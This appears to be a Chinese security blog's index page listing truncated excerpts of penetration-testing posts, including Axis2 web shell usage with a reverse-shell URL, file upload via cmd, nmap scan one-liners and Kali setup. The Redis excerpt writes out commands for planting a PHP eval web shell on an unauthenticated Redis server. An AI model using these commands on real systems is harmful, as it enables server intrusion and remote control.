Axis2 Web Shell

Axis2 Web Shell
axis2 web shell 使用介绍： 1、命令执行 http://1.1.1.1/services/config/exec?cmd=whoami (不说了，执行命令。注意:xml换行没有处理好) 2、反弹shell http://1.1.1.1/services/config/shell?host=1.1.1.1&port=5555 (Linux则使用bash反弹shell，Windows则会进行socket执行shell) 3、文件上传 http://1.1.1.1/services/config/upload?path=/opt/tomcat/webapps/ROOT/sh...
2016年04月15日 汪洋大海 暂无评论 喜欢 0 阅读 4,664 views 次 阅读全文

渗透技巧——通过cmd上传文件的N种方法

渗透技巧——通过cmd上传文件的N种方法
0x00 前言 在渗透测试的过程中，常常需要向目标主机上传文件，我在最近的学习测试过程中就碰到了这个问题，要求只能通过cmd shell向目标主机（Windows系统）上传文件，所以本文就对该技巧做一下总结。 0x02 测试环境 OS：Win7 x86 test exe：ssss2.exe,成功运行后输出1 0x03 通用上传方法 1、 debug debug是一个程序调试工具，功能包括： 直接输入，更改，跟踪，运行汇...
2016年04月14日 汪洋大海 暂无评论 喜欢 0 阅读 3,056 views 次 阅读全文

kali linux开启ssh登录 WinSCP登录kali linux方法

kali linux开启ssh登录 WinSCP登录kali linux方法
最新2019 kali linux 开启ssh登录的方法，超级简单。 1. kali linux ssh的配置 （1）打开/etc/ssh/sshd_config，我们需要配置它。 （2）找到#PasswordAuthentication yes，把注释符号#去掉。 （3）找到#PermitRootLogin without-password ，把前面的#去掉，并且将“without-password”修改为YES，现在就可以启动ssh了。 （4）如果想设置开机自动启动，可以执行以下命令： ...
2016年04月12日 学习笔记 暂无评论 喜欢 2 阅读 9,247 views 次 阅读全文

redis写webshell redis

redis写webshell redis
nmap --script=redis-info  -p6379 192.168.1.0/24 --open   redis写webshell 刷新并进入redis控制台 redis-cli -h 192.168.20.215 flushall exit redis-cli -h 192.168.20.215 修改默认目录和文件名(需要web的绝对路径) config set dir /var/www/html config set dbfilename index1.php set a2 "<?php @eval($_POST[cmd]);?>" save  ssh-...
2016年04月11日 学习笔记 暂无评论 喜欢 0 阅读 5,412 views 次 阅读全文

Redis 未授权访问配合 SSH key 文件利用分析

Redis 未授权访问配合 SSH key 文件利用分析
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库，并提供多种语言的API。 Redis 未授权访问的问题是一直存在的问题，知道创宇安全研究团队历史上也做过相关的应急，今日，又出现 Redis 未授权访问配合 SSH key 文件被利用的情况，导致一大批 Redis 服务器被黑，今天我们来简要的分析下。 一、漏洞概述 Redis 默认情况下，会...
2016年04月11日 汪洋大海 暂无评论 喜欢 0 阅读 2,829 views 次 阅读全文

kali linux安装redis 及使用客户端命令 redis-cli -h

kali linux安装redis 及使用客户端命令 redis-cli -h
本文主要是为了利用kali linux2.0 测试redis未授权访问。并非非常非常详细讲redis如何安装及设置。 首先，你需要下载最新的redis，例如我下载的就是稳定版，非最新版。地址：http://download.redis.io/releases/redis-3.0.7.tar.gz 然后你随意解压到哪个目录，然后在那个目录打开终端。直接输入命令：make 安装。安装完后，你需要进入SRC文件夹，然后输入下面的命令：cp red...
2016年04月11日 学习笔记 暂无评论 喜欢 2 阅读 9,620 views 次 阅读全文

php多线程采集_PHP CURL 多线程 GET/POST 类

php多线程采集_PHP CURL 多线程 GET/POST 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php /**************************************************************** PHP CURL 多线程 GET/POST curl(array('url?get=data','url'),array('','post_data')); *****************************************************************/ function curl($u...
2016年04月11日 汪洋大海 暂无评论 喜欢 0 阅读 3,549 views 次 阅读全文

树莓派3b 安装kali linux 如何配置

树莓派3b 安装kali linux 如何配置
首先下载：下载地址: http://images.kali.org/kali-2.0.1-rpi2.img.xz   针对树莓派最好的扩展工具是raspi-config，在kali1的源中也是存在的，但在2.0版本中则被移除了，只好手动安装。 首先从http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/下载最新的raspi-config，然后解决依赖： apt-get install triggerhappy lua5.1 alsa-utils dpkg -i ra...
2016年04月08日 汪洋大海 暂无评论 喜欢 1 阅读 3,122 views 次 阅读全文

nmap 扫描输出格式 IP:端口 txt

nmap 扫描输出格式 IP:端口 txt
nmap -vv -p 80,873,1433,1521,3306,2601,6379,7001,7002,7071,8000,8001,8002,8069,8080,8081,8888,9200,9300,9043,9080,11211,27017 127.0.0.1/24 | grep "Discovered open port" | awk {'print $6":"$4'} | awk -F/ {'print $1'} > output.txt   nmap -vv -iL yuming.txt /24  | grep "Discovered open port" | awk {'print $6":"$4'} | awk -F/ {'print $1'} &g...
2016年04月06日 学习笔记 暂无评论 喜欢 0 阅读 14,631 views 次 阅读全文